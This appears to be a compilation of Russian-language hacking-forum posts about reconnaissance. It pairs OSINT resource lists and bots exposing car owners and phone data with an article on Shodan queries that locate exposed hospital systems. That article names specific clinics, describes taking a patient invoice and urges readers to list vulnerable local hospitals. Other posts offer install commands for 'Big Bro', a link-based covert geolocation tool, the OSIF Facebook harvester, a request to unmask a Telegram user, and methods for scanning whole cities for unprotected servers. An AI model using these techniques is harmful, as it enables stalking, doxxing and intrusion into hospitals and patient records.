w2.brreg.no

Остров Мэн:
www.gov.im

Польша:
ms.gov.pl

Португалия:
www.irn.mj.pt
www.guianet.pt

Румыния:
www.onrc.ro

Сербия:
Serbian Business Registration Agency
Central Secuities Depository and Clearing House

Словакия:
www.orsr.sk

Финляндия:
www.prh.fi
www.ytj.fi

Чехия:
wwwinfo.mfcr.cz
portal.justice.cz

Хорватия:
www1.biznet.hr

Франция:
www.infogreffe.fr
www.inpi.fr
www.greffe-tc-paris.fr

Швейцария:
Swiss Commercial Gazette (SHAB) - публикуются новые записи и изменения в торговом реестре.
Central Business Names Index

Швеция:
Swedish Companies Registration Office - Bolagsverket
www.prv.se
Foretagsinformation om alla Sveriges bolag

Эстония:
www.rik.ee

Spoiler: Боты телеграмм

@egrul_bot - данные из ЕГРЮЛ ФНС
@AntiParkonBot - данные о владельцах автомобилей
@shtraf_nalog_bot - штрафы ГИБДД и налоги
@AvinfoBot - сведения об автомобиле
@InsacarBot - сведения об автомобиле
@numberPhoneBot - сведения о номере телефона
@mnp_bot - сведения о номере телефона
@WhoisDomBot - сведения о домене

Spoiler: Украина

Бот телеграмм для поиска по Украинским открытым данным- @OpenDataUABot | Сайт -https://opendatabot.ua/blog

Для пошуку введіть будь-яку інформацію:
- код, назву чи адресу компанії
- ПІБ людини українською мовою
- податковий номер фізичної особи
- номер судової справи
- номер авто чи техпаспорта
- номер паспорта

Click to expand...

Еще для поиска по данным Украины


[ Інформація про викрадені/втрачені/недійсні паспорти громадянина України

• Набори даних - Портал відкритих даних ](https://data.gov.ua/dataset/ab09ed00-4f51-4f6c-a2f7-1b2fb118be0f)

Набір містить дані для ідентифікації викрадених, втрачених, недійсних паспортів громадянина України

data.gov.ua

Реестр аппаратуры спутниковых радионавигационных систем
https://data.gov.ua/dataset/b7689525-8afb-4984-86c8-e35b3a6e504d
Сведения о транспортных средствах и их владельцах
https://data.gov.ua/dataset/06779371-308f-42d7-895e-5a39833375f0

Spoiler: РФ

Единный реестр Тур-операторов: https://www.russiatourism.ru/operators/

http://stat.customs.ru - данные по таможне РФ

База данных лицензий на образовательную деятельность, Санкт-Петербург
http://petersburgedu.ru/licenses/list/

Московская городская нотариальная палата: Розыск наследников
http://www.mgnp.info/razdel-dlya-naslednikov/rozysk-naslednikov/

Spoiler: Общие

http://webmii.com/ Позволяет отделить фейковые аккаунты в социальных сетях от настоящих. Сервис ищет ссылки на человека по имени и выдает его рейтинг «веб-видимости».

https://where-you.com - поиск по людям, в том числе РФ/СНГ, находи ВКонтакте и одноклассники

Приветствую.

Должно быть, многие из вас слышали о заражении вирусами-вымогателями множества больниц по всему миру. Такие инциденты довольно часто проскакивают в новостях последнее время. Отрасль здравоохранения является наиболее важной отраслью критической инфраструктуры. Помимо того, что, как правило, на слабо защищенных серверах мед. учреждений хранится конфиденциальная информация о состоянии здоровья больных, любое нарушение в работе оборудования может привести к человеческим жертвам. Поэтому, в данной отрасли, атаки вирусов-вымогателей, созданные с целью извлечения финансовой выгоды, являются высокоэффективными. Аварийное отключение оборудование может привести к потере доверия, денег и, конечно, плохой репутации больницы, не говоря уже о пациентах, которые находятся в опасности. Поэтому, персоналу ничего не остается, как заплатить киберпреступникам.

Голливудской больнице пришлось заплатить $17000 хакерам, запустившим вирус- шифровальщик в компьютерную сеть учреждения / https://habr.com/ru/post/390571/
В сети не так уж и много информации о реализации атак на эти клиники, но я предполагаю, что киберпреступники получают доступ, используя фишинг или популярные уязвимости, вроде Bluekeep, на компьютерах с включенным RDP. Помимо этого, в американских клиниках активно используется сетевой протокол DICOM, в купе с PACS.

Работу 10 больниц в США и Австралии нарушили атаки шифровальщиков / https://xakep.ru/2019/10/03/ransomware-attacks-medical/
Помимо денежных доходов от шифрования данных, злоумышленники могут красть конфиденциальную информацию о людях, их рентгеновские снимки, платежи и медицинских записи, и использовать для шпионажа или шантажа.

Шифровальщик Purgen вывел из строя медицинское оборудование во время операции на мозге 13-летней девочки / <https://threatpost.ru/tyumen-medical-center- under-purgen-attack/27085/>

Иногда для получения конфиденциальных данных даже не нужно использовать какие- либо уязвимости. К примеру, из-за отсутствия базовых знаний по информационной безопасности у людей, ответственных за настройку оборудования, некоторые системы, подключенные к сети, доступны без аутентификации.

Примером этого могут служить два сервера радиологии в Австралии. С одной стороны, Австралия боится китайских методов шпионажа, вроде Cloud Hopper, но с другой стороны они оставляют два незащищенных сервера Cynetics. Это веб-системы медицинских изображений, предназначенные для ведения клинической отчетности мед. персоналом.

Австралийский центр кибербезопасности был проинформирован об этом, и соответствующие меры были приняты. Однако, так как данные были доступны всем желающим в течение месяца, они не остались незамеченными.

Утечка вышеназванных серверов содержала 4,5 ТБ данных, включая рентгенологические фотографии беременностей с диагнозом (почти 2 миллиона изображений!), счета-фактуры и личные данные пациентов.

Стоит отметить, что, заходя на эти сервера, пользователи имели привилегии администратора. Это значит, что посетители могли просматривать абсолютно всю информацию и даже удалять платежи пациентов, вместе с клиническими результатами.

Таким образом, можно нанести огромный ущерб учреждению, подделывая данные клиентов или удаляя платежи. Или можно копнуть глубже и поискать уязвимости уже в самой веб-консоли Cynetics.

Самые ранние сведения о платежах и должниках датируются 2009 годом, фотографии

• 2016-м. Наверняка, существуют правила, которые требуют хранить медицинские данные в течение определенного периода времени.

Возвращаясь к основной теме и наиболее важным данным в утечке, каждый пациент имеет от 10 до 40 рентгенологических фотографий с описанием.

Честно говоря, мне эти данные ни о чем не говорят, кроме того, что это какая - то информация о плоде. Но для тех, кто разбирается в медицине, это наверняка должно быть интересно.

Проведя беглую разведку, я выделил две клиники, в которых отсутствуют надлежащие меры безопасности.

Первая - Tara Imaging for Women


[ 1 Tyler St · 1 Tyler St, Campbelltown NSW 2560, Australia

](https://goo.gl/maps/X6jjFk7V3cR2JpLs9)

Building

goo.gl

Чтобы подтвердить предположение, что админ-панель принадлежит именно этой клинике, я скачал один счет:

Название второго объекта было также найдено в самой админ-панели: Western Imaging Group, расположенная на Campbell Street.


[ 30 Campbell St · 30 Campbell St, Blacktown NSW 2148, Australia

](https://goo.gl/maps/NdAoaEwsjVWfsoaG7)

Building

goo.gl

Как компенсировать знания в медицине OSINT 'ом
Из-за отсутствия должных медицинских знаний, это было одно из самых сложных для меня исследований, которое я когда-либо проводил. Я не врач и никогда не интересовался медицинскими клиниками или больницами. В процессе исследования, я многое узнал о медицинском оборудовании и о том, как больницы связаны между собой, как работает мед. персонал и многое другое.

Для того, чтобы получить соответствующие знания, я разделил исследование на три части:

Поиск используемого оборудования и протоколов
Я начал с поиска документов, в которых бы было упомянуто оборудование, использовавшееся в поликлиниках. Оно было нужно мне для того, чтобы далее я мог сформировать более-менее внятные запросы в Shodan. Но все, что я находил - бесполезные модные презентации, в которых люди отражали статистику организаций, в которых они работают. Это, конечно, полезно, но не для меня.

В итоге, после долгого времени поисков, меня порадовал только один найденный документ. Этот документ был написан Кристодулосом Циампазисом из University of Twente и носит название - «Exposure Assessment on Medical Devices in the Netherland». На странице [Github ](https://github.com/ChristodoulosTziampazis/Exposure-Assessment-on-Medical- Devices-in-the-Netherlands/issues)он поделился списком ключевых слов для поиска в Shodan, поставщиками оборудования и софтом, используемом в мед. учреждениях и многим другим.

Это отличная исследовательская работа, с полной версией которой можно ознакомиться по ссылке - https://essay.utwente.nl/78845/1/Tziampazis_BA_EEMCS.pdf
В процессе поиска материалов, я использовал понятия, вроде «Радиология», «Онкология», «Офтальмология», «Оториноларингология», «Неврология», «Ветеринария» и т.д.

DICOM и как он используется в медицине

DICOM (Digital Imaging and Communications in Medicine) - медицинский отраслевой стандарт создания, хранения, передачи и визуализации цифровых медицинских изображений и документов обследованных пациентов, являющийся наиболее популярным в зарубежных клиниках. Если вы хотите узнать о последствиях его появления в сети, рекомендую прочитать отчет от Greenbone.

Конфиденциальные данные пациентов, свободно доступные в Интернете (PDF) - https://www.greenbone.net/wp-content/uploads/CyberResilienceReport_EN.pdf

Я начал искать устройства, использующие DICOM, для сканирования их на наличие других открытых портов и просмотра работающих служб. Оказывается, все настолько плохо, что в большинстве случаев были открыты дополнительные порты, включая 3389 (RDP), 80 (HTTP), 8080 (HTTP) и другие, полезные для дальнейших исследований.

Помимо этого, для поиска мед. клиник, мед. университетов и лабораторий, я начал составлять простенькие запросы в Shodan, например: «org: hospital», «org: medical» и различных их вариации, включая различные языки. Например, на голландском языке это «org: Ziekenhuis» или на немецком - «org: Krankenhaus». Такой подход позволил провести обширную разведку, чтобы собрать как можно больше устройств, подключенных к сети, в медицинских организациях.

Охота на вендоров

Последняя часть поисков состояла из сбора всевозможных поставщиков и производителей медицинских устройств.

Мне очень помог сайт https://www.medicalexpo.com/, на котором я перебрал всех продавцов и каждую модель их устройств, после чего перешел к шодану. Зная, что некоторые панели входа в систему устройств имеют нижний колонтитул типа «Powered by <нужная мне компания_нейм>», я смог найти еще много устройств и проверить, какие дополнительные сервисы работают на машинах.

Помимо этого, я случайно обнаружил промышленные системы управления, но об этом в другой раз.

Таким образом, я представляю вам около 90 запросов для поиска различных медицинских устройств в Shodan - от микроскопов и дефибрилляторов до мониторов астмы. C полным список можно ознакомиться [тут](https://github.com/woj- ciech/Kamerka-GUI#full-list-of-supported-devices-with-corresponding-queries).

Геолокация устройств
Некоторые устройства не имеют какого - либо потенциального индикатора для определения их точного местоположения. Разберем несколько кейсов.

Кейс #1: Grover C. Dils Medical Center, Caliente, Nevada, United States
RIS/PACS, основанные на веб-технологиях Medweb, предлагает решения для управления документооборотом и планированием бюджета.

Запрос: html:"DBA Medweb. All rights reserved."

Название объекта отображается в заголовке и содержании HTML.

Стоит отметить, что SSL-сертификат выдан Medweb.

Геолокация довольно проста - местоположение на основе IP указывает на ближайший город и при помощи Xamerka мы можем проложить маршрут до медицинского центра.

Кейс #2: IRM CHARENTON ST MAURICE, 22 rue Victor HUGO 94220, CHARENTON LE PONT
Medecon Clipper - это веб-сервер, предназначенный для управления отчетами для врачей общей практики.

Запрос: http.favicon.hash:-897903496

Некоторые устройства и софт используются только в определенных странах (например, DLP-система Infowatch, в основном, только в России). Medecom (http://www.medecom.fr/) - французская компания, большая часть которой расположена во Франции.

Точное местоположение можно увидеть в HTML, при входе.

IP-адрес указывает на Montmorency, но фактически, клиника находится в пригороде Парижа.

В дополнении стоит сказать, что владельцы давно не обновляли версию ПО. У них стоит Medecon Clipper версии 4.4, хотя последняя, на момент написания статьи,

• 4.10.

Кейс #3: Maternity Sainte-Elisabeth — Chu Uclouvain Namur, Place Louise Godin 15, 5000 Namur, Belgium
Brainlab развивает здравоохранение при помощи программных технологий. Для улучшения условий проведения операций, радиохирургических процедур и многого другого, они создают программные и аппаратные решения.

Запрос: title:"Brainlab Origin Server"

Telemis
Telemis - быстроразвивающаяся компания, работающая в области медицинского оборудования и специализирующаяся на решениях PACS.

Запрос: http.favicon.hash:220883165

Это кейс - пример того, как другие службы, работающие на машине, помогают найти дополнительные цели. Первоначально я искал хосты Brainlab, но на том же сервере работал веб-интерфейс Telemis.

Авторизация проходит на montgodinne.ad. Этот домен принадлежит клинике Mont- Godinne.

Telemis работает на той же машине, но на отдельном порту. Тем не менее, он подтверждает предположение о клинике, выводя название "CHU UCL Namur".

Теперь мы имеем полное название и её местоположение - CHU UCL Namur - Site Godinne. IP указывает на Waterloo, но расположение больницы отличается, примерно на 80 км.

Кейс #4: Leiden University Medical Center (LUMC), Albinusdreef 2, 2333 ZA Leiden, The Netherlands
BrainScope - это медицинская компания, специализирующаяся на медицинской нейротехнике, которая используется для проверки у человека черепно-мозговой травмы. Инновационная система BrainScope One представляет собой простую в использовании платформу, которая позволяет врачам быстро проводить точные оценки травм головы прямо на месте оказания медицинской помощи. https://brainscope.com/

Запрос: title:BrainScope

Эта машина находится в сети «Leiden University Medical Centre».

Которая очень близка к местоположению, полученному из базы данных геолокации, которую использует Shodan.

Бонус
Почему больницы становятся жертвами вымогателей?

Скриншоты взяты из Shodan.

Таким образом, вы видите уже, как минимум, один вектор атаки для получения необходимой информации о пациентах, персонале или инфраструктуре больницы, лежащий на поверхности.

Брутфорс, Credential Stuffing или фишинг - это типичная точки входа для злоумышленника, для того, чтобы начать заражение или украсть медицинские данные. Кроме того, система безопасности уязвима не только для уязвимостей нулевого дня, но и для уже известных эксплойтов.

Попробуйте составить список больниц или медицинских клиник в вашем городе, которые могут стать следующей целью атак злоумышленников из-за отсутствия основных мер безопасности. Уверен, таковых найдется не мало.

Другие интересные находки
Мне пришлось исключить пару устройств из-за их относительной малочисленности или сложности выделить какой - то общий идентификатор для формирования подходящих запросов в Shodan.

Wall of Analytics
Это решение от General Electric, которое работает как командный центр для обработки данных в реальном времени, в больнице, с использованием ИИ.

Микроскопы
Я не вижу смысла подключать микроскопы к интернету, но, как вы видите, и такое тоже случается.

При помощи веб-консоли можно калибровать микроскоп и записывать видео.

Система обмена сообщениями для медсестры
Есть платформы, о которых я даже не подозревал. Одной из таких является служба обмена сообщениями для медсестер. Опять же, на мой взгляд, подключение к интернету для такой системы ни к чему.

Это решение позволяет контролировать каждую комнату, просматривать температуру и отслеживать вызовы.

Health of Future
Еще один продукт от General Electric Healthcare - Health of Future Perioperative. Он используется для управления операционными залами. О нем достаточно сложно найти какую - либо информацию, я даже не смог определить актуальную версию или дефолтные пароли.

Orthanc Explorer
Это еще одна программа для просмотра DICOM. Она позволяет просматривать рентгеновские снимки пациентов, а также другую медицинскую информацию. Многие устройства Orthanc доступны без аутентификации.

Это все весело до тех пор, пока специалисты не начнут искать в таких продуктах уязвимости.

У них, кстати, есть демка, которую можно оценить по ссылке - https://demo.orthanc-server.com/app/explorer.html

Раскрытие информации

GlucoCare Glycemic Control System
Программное обеспечение для расчета дозы инсулина, разработанное и продаваемое Pronia Medical Systems.

На странице входа можно увидеть сервер-кей и информацию о лицензии.

KbPort
Независимо от того, строите ли вы новый центр симуляции или расширяете существующий, вам на помощь придет KbPort Simplicity™. Это комплексное решение, которое поможет вам спроектировать идеальную среду для любого предприятия.

Внутренняя инфраструктура доступна на страницу входа.

Промышленные системы управления
На третьем этапе исследований (в процессе поиска вендоров), я обнаружил не только медицинские приборы, но и промышленные системы управления. Некоторые производители не только оснащают больницы, но и производят и поддерживают различные отрасли промышленности.

Одним из примеров такого типа компаний является Bosch. С одной стороны, она предоставляет мониторы артериального давления и капсульные контрольные весы для здравоохранения. С другой стороны, Bosch производит системы безопасности и многие другие продукты IoT и ICS, которые широко используются во всем мире. Пытаясь найти медицинские устройства, я наткнулся на Bosch Security Systems DVR 630/650/670 Series с запросом: http.html: «Bosch Security».

https://www.exploit-db.com/exploits/34956

Около 600 таких устройств оказались доступны в интернете. В исходном коде HTML я нашел несколько CGI-путей, которыми можно злоупотребить. Большое спасибо @ChristiaanBeek, который подтвердил наличие уязвимости и нашел эксплойт для этих устройств. Он находится в публичном доступе с 2014 года и с его помощью можно получить полный доступ над устройством.

Как вы видите, мы без труда можем получить данные для входа в панель.

Заключение
Индустрия здравоохранения является одной из наиболее уязвимых отраслей, и, от того, требующая повышенной безопасности. Речь идет не только о личной информации, как в других отраслях, но и о жизнях людей, которые подвергаются опасности в случае кибератак или несанкционированного доступа к больничным системам. Многие устройства открыты для доступа извне, что повышает шансы на их компрометацию. Существует множество уязвимостей, которые не закрывают годами. Злоумышленники без труда могут получить доступ через открытый RDP и расширить свои привилегии для всей сети. Вот почему так важно проводить тестирования на проникновения в медицинских клиниках и больницах.

(с) Статья написана для каналов @cybred и @in51d3

Обычно пользователи регистрируются на сайтах и в социальных сетях с одним и тем же ником (логином). Поэтому если возникает вопрос, как найти все профили пользователя, то нужно поискать на сайтах по известному его нику. Делать это вручную долго, но нам поможет программа Sherlock.

Sherlock — это программа на Python, которая на множестве сайтов социальных сетей проверяет, зарегистрирован ли там пользователь с указанным именем, то есть имеется ли учётная запись с таким именем пользователя (ником).

В настоящее время поддерживаются около 300 сайтов, полный список здесь: https://github.com/sherlock-project/sherlock/blob/master/sites.md

Хорошие новости для пользователей Windows — Sherlock можно запустить на любой операционной системе. А для самого быстрого доступа к инструменту сделан онлайн сервис Sherlock.

Как установить Sherlock в Kali Linux

Установка в Kali Linux очень простая, достаточно выполнить команду:

Code:Copy to clipboard

sudo apt install sherlock

Запускать так:

Code:Copy to clipboard

sherlock ИМЯ_ПОЛЬЗОВАТЕЛЯ

Как установить Sherlock в Linux Mint, Ubuntu, Debian и их производные

Для установки выполните следующие команды:

Code:Copy to clipboard

sudo apt install python3-pip git python3-setuptools
git clone https://github.com/sherlock-project/sherlock
cd sherlock/
sudo pip3 install -r requirements.txt
python3 ./sherlock.py -h

Запускать так:

Code:Copy to clipboard

python3 ./sherlock.py ИМЯ_ПОЛЬЗОВАТЕЛЯ

Как установить Sherlock в Windows

1. Вначале установите Python и PIP на Windows.

Поищем пакет sherlock в репозиториях PIP:

Code:Copy to clipboard

pip search sherlock

Самое близкой из найденного:

Code:Copy to clipboard

thesherlock (0.2.6)      - Sherlock the username detective

Описание переводится как «детектив имён пользователей Шерлок».

Возможно это тот самый интересующий нас инструмент, но его версия 0.2.6, в то время как последней версией на момент написания является 0.10.4.

Если вы хотите пойти самым простым путём, то можно установить так:

Code:Copy to clipboard

pip install thesherlock

Но я рекомендую другой вариант, благодаря которому мы получим самую последнюю версию Sherlock.

2. Скачиваем архив с программой: <https://github.com/sherlock- project/sherlock/archive/master.zip>

3. Распаковываем архив и запоминаем папку, например, у меня это **C:\Users\MiAl\Downloads\sherlock-master**.

4. Теперь открываем командную строку: Win+x → Windows PowerShell.

5. В командной строке переходим в папку со скриптами используя команду cd :

Code:Copy to clipboard

cd C:\Users\MiAl\Downloads\sherlock-master\

6. Установим зависимости:

Code:Copy to clipboard

pip install -r requirements.txt

7. Проверим, всё ли в порядке, для этого выведем сообщение справки:

Code:Copy to clipboard

python ./sherlock.py -h

8. Запускать так:

Code:Copy to clipboard

python ./sherlock.py ИМЯ_ПОЛЬЗОВАТЕЛЯ

Как найти аккаунты в социальных сетях

Выше уже показаны особенности запуска в зависимости от операционной системы. Я покажу работу программы на примере Windows.

К примеру, я хочу найти все профили с именем пользователя miloserdov :

Code:Copy to clipboard

python ./sherlock.py miloserdov

Если аккаунт найден, то будет показано имя сайта и ссылка на профиль:

Code:Copy to clipboard

[+] Ebay: https://www.ebay.com/usr/miloserdov
[+] Facebook: https://www.facebook.com/miloserdov

Надпись «Not Found! » означает, что не удалось найти пользователя с таким именем на этом сайте:

Code:Copy to clipboard

[-] Dribbble: Not Found!
[-] Ello: Not Found!
[-] Etsy: Not Found!
[-] EyeEm: Not Found!
[-] F3.cool: Not Found!

Как в Sherlock показать ссылки только на существующие профили

Выводится много информации (проверка выполняется по почти 300 сайтам), было бы неплохо сделать её более читаемый хотя бы за счёт удаления записей о ненайденных профилях. Это легко делается с помощи опции --print-found :

Code:Copy to clipboard

python ./sherlock.py --print-found ИМЯ_ПОЛЬЗОВАТЕЛЯ

Согласитесь, стало намного лучше:

Как искать сразу несколько имён пользователей в социальных сетях

Если вы знаете альтернативные имена одного пользователя или хотите выполнить поиск сразу нескольких пользователей, то просто укажите их через пробел:

Code:Copy to clipboard

python ./sherlock.py --print-found ИМЯ_ПОЛЬЗОВАТЕЛЯ1 ИМЯ_ПОЛЬЗОВАТЕЛЯ2 ИМЯ_ПОЛЬЗОВАТЕЛЯ3

Например:

Code:Copy to clipboard

python ./sherlock.py --print-found miloserdov mi-al mial

Как в Sherlock проверять только по некоторым сайтам

Вполне возможно, что вам нужно проверить только по одному или нескольким сайтам и вам не хочется дожидаться полной проверки по всем социальным сетям. В этом случае используйте опцию --site , после которой укажите имя сайта. Имена сайтов показываются в выводе программы во время проверки, также вы сможете их найти в файле data.json. Опцию --site можно использовать несколько раз, то есть можно запустить проверку одновременно по нескольким сайтам, пример команды:

Code:Copy to clipboard

python ./sherlock.py --print-found --site Facebook --site VK --site Badoo --site datingRU --site YouTube --site Telegram --site Twitch --site Twitter miloserdov mi-al mial

Как в Sherlock сохранить результаты в файл

По умолчанию для каждого имени пользователя в папке программы создаётся файл вида ИМЯ_ПОЛЬЗОВАТЕЛЯ.txt. При желании вы можете создать файл CSV, который можно открыть офисными программами для работы с таблицами. В этом файле значения будут разделены запятыми (можно использовать для обработки скриптами или импорта в базы данных. Для создания файла CSV укажите опцию --csv.

По умолчанию эти файлы создаются прямо в директории Sherlock, если вы хотите указать другую директорию, то используйте опцию -fo ПАПКА :

Code:Copy to clipboard

python ./sherlock.py --print-found -fo results miloserdov

Вместо файла вида ИМЯ_ПОЛЬЗОВАТЕЛЯ.txt вы можете указать любое другое имя, для этого используйте опцию -o. Помните, что эта опция применима только если проверяется одно имя пользователя.

Сортировка сайтов по популярности в Sherlock

Если вы хотите, чтобы первыми шли самые популярные сайты, то укажите флаг -r. Популярность сайтов определяется на основе глобального рейтинга Alexa.com.

Как делать проверки в Sherlock через прокси

Sherlock поддерживает отправку запросов через прокси. Для этого используйте опцию --proxy PROXY_URL (короткий вариант написания имени опции -p PROXY_URL). Пример формата прокси: socks5://127.0.0.1:1080

Если хотите брать прокси из списка, то используйте опцию --proxy_list СПИСОК_ПРОКСИ (короткий вариант написания имени опции -pl СПИСОК_ПРОКСИ). Прокси будут выбираться случайным образом из этого списка.

Файл, указываемый с опцией --proxy_list , должен быть в формате .csv. В нём прокси должны описываться полями : 'ip', 'port', 'protocol'.

Вместе с опцией --proxy_list вы можете указать опцию --check_proxies ЧИСЛО (-cp ЧИСЛО). В этом случае будет выполнена проверка на работоспособность и анонимности прокси из файла .csv .Укажите 0 для снятия ограничений на количество прошедших проверку прокси, или укажите другое число для установления лимита.

Как пользоваться Sherlock через Tor

Поскольку Sherlock умеет работать с SOCKS5, то после установки и запуска службы Tor на любой операционной системе, используйте опцию --proxy со значением socks5://localhost:9050 :

Code:Copy to clipboard

python ./sherlock.py --proxy socks5://localhost:9050 ИМЯ_ПОЛЬЗОВАТЕЛЯ

Автор @ Alexey
hackware.ru

Big Bro 5.0​

Это OSINT инструмент, для поиска людей перешедших по ссылке, радиус

разброса местоположения 1-10 метров, зависит от расположение человека.​

Установка​

Kali Linux * Parrot OS​

git clone https://github.com/Bafomet666/Bigbro

Далее вам нужно распоковать нужную версию.

cd /Big bro 5.0

chmod 777 install.sh

./install.sh

sudo python3 bigbro.py -t manual -k start.kml

Termux.​

git clone https://github.com/Bafomet666/Bigbro

Далее вам нужно распоковать нужную версию.

cd /Big bro 5.0

chmod 777 termux_install.sh

./install.sh

python bigbro.py -t manual -k start.kml

Специально для termux, если вы не можете установить ngrok нормально, вот вам быстрая установка без заморочек. https://github.com/Bafomet666/Fast-ngrok

Зависимости​

Скачайте и установите ngrok [ https://ngrok.com/download ]

Далее запустите ngrok в сторонем окне командой sudo ngrok http 8080

Запуск​

Kali linux / Parrot os: sudo python3 bigbro.py -t manual -k start.kml

Termux: python bigbro.py -t manual -k start.kml

Это мой первый продукт в виде эксплойта, для хакеров и социальных инженеров. Честно я доволен проделанной работой, я узнал много нового для себя в разработке, такого типа эксплойтов. Если ты хочешь повлиять на создание нового эксплойта, или закинуть мне идей по поводу новых эксплойтов. Напиши мне в Telegram https://t.me/satana666mx.

Доброго времени суток форумчане, подскажите как можно узнать максимум информации по нику телеги, в каких группах состоит и кто за ним стоит. Пример такой, есть организация, у нее есть менеджеры обрабатывающие заказы, я ищу человека стоящим во главе этой конторы. И еще вопрос, как можно попасть в закрытую группу, возможно ли хотя-бы просматривать там сообщения?

OSIF - это точный сбор информации учетной записи facebook, вся конфиденциальная информация может быть легко собрана, даже если цель конвертирует всю свою конфиденциальность в (только я) конфиденциальную информацию о месте жительства, дате рождения, роде занятий, номере телефона и адресе электронной почты.
Ставим

Code:Copy to clipboard

pkg update upgrade
pkg install git python2
git clone https://github.com/ciku370/OSIF
cd OSIF
pip2 install -r requirements.txt

Использование:

Code:Copy to clipboard

python2 osif.py

Скриншот:

На гите

[ GitHub - CiKu370/OSIF: Open Source Information Facebook

](https://github.com/ciku370/OSIF)

Open Source Information Facebook. Contribute to CiKu370/OSIF development by creating an account on GitHub.

github.com

Разведка сетевых ресурсов компании главным образом заключается в брутфорсе поддоменов с последующим ресолвом найденных сетевых блоков. Далее могут быть найдены новые домены 2 уровня и процедура повторяется снова. Это позволяет найти новые IP-адреса на каждой итерации.

Этот метод, пожалуй, самый эффективный. Однако встречались такие ситуации, когда целая подсеть /24 оставалась не найденной.

В наши дни появилось еще одно мощное средство — passive dns, которое позволяет сделать то же самое что и классический DNS-ресолв, но используя специальный API. Это может быть, к примеру, «virustotal» или «passive-total». Эти сервисы записывают DNS запросы и ответы, которые собираются с популярных DNS-серверов. Преимущество этого подхода в том, что нам не нужен брутфорс. Мы просто указываем IP-адрес и получаем все известные DNS записи. Или, наоборот, указывая DNS мы получаем все IP-адреса, которые ассоциированы с данным именем. У данного подхода есть неоспоримое преимущество — мы можем найти старые сервера сайтов, которые ресолвились раньше. Ведь в конце концов старые сайты наиболее вероятно будут содержать уязвимости.

Несмотря на описанные выше техники существует еще несколько чуть менее популярных, но всё же дающих результаты. В данной статье мы рассмотрим ещё две методики разведки — поиск IP-адресов по географическим данным (geo2ip) и нахождение IP-адресов по имени компании (reverse-whois).

Geo2ip​

Что такое geoip, думаю, знают многие из нас. Он используется достаточно часто как разработчиками, так и администраторами. Однако geoip используется главным образом в направлении ip → geo. В нашем же случае это не так интересно. Забавно, но перед тем, как разработать собственное решение, не было найдено ни одной библиотеки, позволяющей делать запросы в обратном направлении geo → ip. Поэтому было решено написать собственный инструмент, более того что реализуется это не так уж и сложно.

Инструмент был написан достаточно давно, так что использован python2.

Данный пакет содержит два инструмента:

1. geoip — выполнение различных запросов ip → geo, city → ip, country → ip, lat:long → ip и т.п.;
2. rwhois — выполнение различных запросов к whois базе (об этом во второй части статьи).

Итак, сперва нужно скачать geoip-базу:

К сожалению, начиная с 2020 года, база geoip больше не обновляется для публичного использования. Точнее, обновляется, но они закрыли скачивание за авторизацией (оттуда еще можно взять лиц-ключ для скачивания/обновления в скрипте). Так что пришлось захардкодить ссылку на последний публичный снапшот.

Инструмент geoip имеет удобный синтаксис, который позволяет выполнять гибкие запросы к базе. Все запросы указываются через ключи, а то, что требуется вывести, в аргументах. Мы так же можем использовать подстановку с помощью символа «%» (SQL-синтаксис).

Например, для поиска информации по городу и диапазону IP-адресов, с выводом результата о блоках адресов, странах и городах:

Поиск сетей по CIDR и городу

Инструмент geoip имеет встроенную визуализацию, например, можно посмотреть расположение сетей какой-либо страны на карте:

Получение всех сетей какой-либо страны

Просмотр расположения сетей на карте

Для поиска сетей мы так же можем указать произвольный регион (регионы) в виде круга или квадрата с указанием радиуса в км. Например:

Поиск всех сетей по географическим координатам

Визуализация с использованием Google Earth

При работе с инструментом мы так же можем использовать пайпы для взаимодействия со сторонними утилитами.

Посмотрим geoip-информацию о результатах выборки из shodan:

Использование geoip вместе с shodan

Ниже еще несколько примеров, не связанных напрямую с разведкой.

Распарсив логи apache, посмотрим, какие страны посещали сайт:

Анализ логов Apache с geoip

Или из каких городов был ресолв собственной dns-зоны:

Анализ bind-логов с помощью geoip

Вернемся к разведке. Сканирование целого города – найдем все незащищенные mongo сервера в некотором городе:

Сканирование какого-либо города с помощью geoip

Или даже сканирование целой страны – найдем незащищенные memcached сервера в некоторой стране:

Сканирование всей страны с помощью geoip

Reverse whois​

Whois это протокол прикладного уровня, работающий на 43/tcp порту. Его главная цель – получение информации о блоках IP-адресов. Эта информация запрашивается с серверов регистраторов. Всего существует 5 регистраторов, расположенных на 5 соответствующих континентах:

• Европа (RIPE);
• Азия и Океания (APNIC);
• Африка (AFRINIC);
• Северная Америка (ARIN);
• Южная Америка (LACNIC).

Доступ к whois производится с помощью одноименного инструмента:

Code:Copy to clipboard

whois 8.8.8.8

Или вручную, через telnet:

Code:Copy to clipboard

telnet whois.ripe.net 43
1.2.3.4

Тут мы снова опираемся главным образом на IP-адреса. Однако все же мы можем искать информацию по некоторым полям:

Code:Copy to clipboard

whois -h whois.ripe.net -T person admin@somecompany.com

или

Code:Copy to clipboard

whois -h whois.ripe.net -- '-i mnt-by RIPE-NCC-MNT'

Например, для RIPE возможно искать по следующим полям:

• as-set;
• aut-num;
• domain;
• inetnum;
• organisation;
• person;
• role;
• route.

К сожалению, мы не можем искать по самым интересным полям - «netname» и «descr», которые содержат название сети. Так же при таком поиске требуется полное совпадение. Иными словами, мы не можем искать с подстановкой «-T person *@somecompany.com».

Существует несколько web-сервисов, предоставляющих более гибкий поиск, например https://apps.db.ripe.net/db-web-ui/#/fulltextsearch. Это позволяет использовать полнотекстовый поиск к RIPE базе.

Ещё существуют ежедневные дампы whois-баз всех регистраторов:
RIPE: ftp://ftp.ripe.net/ripe/dbase/ripe.db.gz
APNIC: https://ftp.apnic.net/apnic/whois/apnic.db.inetnum.gz
AFRINIC: https://ftp.afrinic.net/dbase/afrinic.db.gz
LACNIC: https://ftp.lacnic.net/lacnic/dbase/lacnic.db.gz
ARIN: https://ftp.arin.net/pub/rr/arin.db.gz

Это текстовые файлы, а значит мы можем применить к ним всю мощь grep:

Code:Copy to clipboard

grep netname: *company* ripe.db

Однако размер базы ripe.db (Европа) более чем 5 GB. Это делает поиск по этому файлу не таким быстрым как хотелось бы. Более того, если я хочу найти все имена сетей по CIDR (например, 77.77.0.0/16), то grep тут уже не поможет.

И тут в игру вступает второй инструмент – rwhois, который работает с данными файлами и имеет идентичный синтаксис как у geoip.

Аналогично, сперва нужно обновить базы:

Обновление whois-баз

Обновление информации по всем 5 континентам может занять длительное время. После можем посмотреть сколько IP-адресов в наших базах:

Количество IP-адресов по базам регистраторов

Можно так же обновить информацию только по указанному континенту:

Обновление whois-базы только для Европы

Попробуем найти что-нибудь. Найдем IP-адреса по имени сети:

Поиск блоков IP-адресов по имени сети

